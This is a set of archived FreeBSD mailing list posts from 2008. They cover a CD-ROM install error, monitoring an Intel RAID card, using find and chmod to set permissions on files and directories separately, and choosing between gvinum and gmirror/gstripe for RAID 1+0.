 on startup  (I confirmed that it is an issue on 7.0 by burning a brand
 new 6.3 disk and was able to install successfully).
 
 Clearly 7.0 causes something to barf on my CDROM drive.
 
 A web search for this error shows various people have had this problem
 on 4.6, 5.3, etc.
 
 Can anyone help?
 
 Joe
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Intel SRCZCR Raid

2008-05-12 Thread Julien Cigar
Hello list,

I have a motherboard with an Intel SRCZCR chipset. It works fine with
the iir driver, but I wondered how could I check the status of the
card/disks as Storcon is not available for FreeBSD  4.x (I run 7.0) ?

Thanks,
Julien

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Re: chmod operation on directories / files

2008-05-07 Thread Julien Cigar
sorry.. | xargs chmod instead of | xargs | chmod ...

On Wed, 2008-05-07 at 16:14 +0200, Julien Cigar wrote:
 find your_dir -type (f|d) | xargs | chmod ...
 
 or
 
 find your_dir -type (f|d) -exec chmod {} \;
 
 On Wed, 2008-05-07 at 13:56 +0200, Zbigniew Szalbot wrote:
  Hello,
  
  How do I chmod separately files and directories?
  
  If I use chmod -R 644 then it will go through all the subdirectories 
  assigning everything 644 permissions, directories including.
  
  Many thanks!
  
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Re: chmod operation on directories / files

2008-05-07 Thread Julien Cigar
find your_dir -type (f|d) | xargs | chmod ...

or

find your_dir -type (f|d) -exec chmod {} \;

On Wed, 2008-05-07 at 13:56 +0200, Zbigniew Szalbot wrote:
 Hello,
 
 How do I chmod separately files and directories?
 
 If I use chmod -R 644 then it will go through all the subdirectories 
 assigning everything 644 permissions, directories including.
 
 Many thanks!
 
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Re: FreeBSD 7.0 - should I be using gvinum or gmirror/gstripe?

2008-04-20 Thread Julien Cigar
I would use gmirror + gstripe ... I'm not sure if gvinum is still
actively developped .. (?)

On Sun, 2008-04-20 at 14:34 -0500, Shelby Cain wrote:
 I'm toying with the idea of setting up a raid 1+0 array using 4 500GB 
 sata drives.  However, I can't seem to find any definitive answer as to 
 whether I should be using gvinum or gmirror+gstripe to accomplish that 
 goal.  Does anyone have any links to resources (or just personal 
 opinion) that provides guidelines for choosing between the two methods?
 
 Regards,
 
 Shelby Cain
 
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